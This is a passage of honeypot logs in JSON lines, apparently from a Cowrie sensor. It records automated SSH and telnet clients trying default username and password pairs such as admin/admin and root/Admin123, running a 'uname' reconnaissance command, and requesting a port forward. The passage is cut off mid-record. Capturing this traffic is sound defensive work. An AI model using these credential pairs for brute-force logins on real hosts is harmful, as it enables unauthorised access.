{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:33.872841Z","src_ip":"172.237.20.62","session":"71769453eed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:34.033970Z","src_ip":"172.237.20.62","session":"71769453eed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:34.563663Z","src_ip":"172.237.20.62","session":"71769453eed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:35.727744Z","src_ip":"172.237.20.62","session":"71769453eed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.560037851333618,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:36.002002Z","src_ip":"31.192.25.118","session":"24fa4df894fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49226,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeaa55c0869f","protocol":"ssh","message":"New connection: 172.237.20.62:49226 (159.203.135.109:22) [session: aeaa55c0869f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:44.772671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:44.808979Z","src_ip":"172.237.20.62","session":"aeaa55c0869f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:44.938597Z","src_ip":"172.237.20.62","session":"aeaa55c0869f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:45.565133Z","src_ip":"172.237.20.62","session":"aeaa55c0869f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:46.726951Z","src_ip":"172.237.20.62","session":"aeaa55c0869f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35890,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f6318b6f295","protocol":"ssh","message":"New connection: 87.251.64.176:35890 (10.17.0.5:22) [session: 1f6318b6f295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:52.717661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:52.722665Z","src_ip":"87.251.64.176","session":"1f6318b6f295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:52.819068Z","src_ip":"87.251.64.176","session":"1f6318b6f295","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:53.108096Z","src_ip":"87.251.64.176","session":"1f6318b6f295","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:53.206540Z","session":"1f6318b6f295","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:53.303985Z","src_ip":"87.251.64.176","session":"1f6318b6f295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:53.407414Z","src_ip":"87.251.64.176","session":"1f6318b6f295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58604,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb7f63d4f66","protocol":"ssh","message":"New connection: 172.237.20.62:58604 (159.203.135.109:22) [session: bbb7f63d4f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:55.491491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:55.496136Z","src_ip":"172.237.20.62","session":"bbb7f63d4f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:55.655500Z","src_ip":"172.237.20.62","session":"bbb7f63d4f66","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:56.162366Z","src_ip":"172.237.20.62","session":"bbb7f63d4f66","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:56.525745Z","src_ip":"172.237.20.62","session":"bbb7f63d4f66","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:56.529282Z","src_ip":"172.237.20.62","session":"bbb7f63d4f66","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:56.691602Z","src_ip":"172.237.20.62","session":"bbb7f63d4f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:56.695812Z","src_ip":"172.237.20.62","session":"bbb7f63d4f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55200,"dst_ip":"159.203.135.109","dst_port":22,"session":"5353da0cca0a","protocol":"ssh","message":"New connection: 172.237.20.62:55200 (159.203.135.109:22) [session: 5353da0cca0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:06.423087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:06.427198Z","src_ip":"172.237.20.62","session":"5353da0cca0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:06.590493Z","src_ip":"172.237.20.62","session":"5353da0cca0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:07.124386Z","src_ip":"172.237.20.62","session":"5353da0cca0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:08.289454Z","src_ip":"172.237.20.62","session":"5353da0cca0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42698,"dst_ip":"159.203.135.109","dst_port":22,"session":"420cbcad5cbe","protocol":"ssh","message":"New connection: 172.237.20.62:42698 (159.203.135.109:22) [session: 420cbcad5cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:17.303043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:17.309695Z","src_ip":"172.237.20.62","session":"420cbcad5cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:17.497025Z","src_ip":"172.237.20.62","session":"420cbcad5cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:17.989483Z","src_ip":"172.237.20.62","session":"420cbcad5cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":58661,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceda8dd12dd6","protocol":"ssh","message":"New connection: 89.144.211.139:58661 (159.203.135.109:22) [session: ceda8dd12dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:18.099910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:18.104709Z","src_ip":"89.144.211.139","session":"ceda8dd12dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:18.238198Z","src_ip":"89.144.211.139","session":"ceda8dd12dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4ssw0rd","message":"login attempt [ubuntu/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:18.791457Z","src_ip":"89.144.211.139","session":"ceda8dd12dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:19.155551Z","src_ip":"172.237.20.62","session":"420cbcad5cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:19.930947Z","src_ip":"89.144.211.139","session":"ceda8dd12dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57464,"dst_ip":"159.203.135.109","dst_port":22,"session":"6994ccc26827","protocol":"ssh","message":"New connection: 172.237.20.62:57464 (159.203.135.109:22) [session: 6994ccc26827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:27.954790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:27.965801Z","src_ip":"172.237.20.62","session":"6994ccc26827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 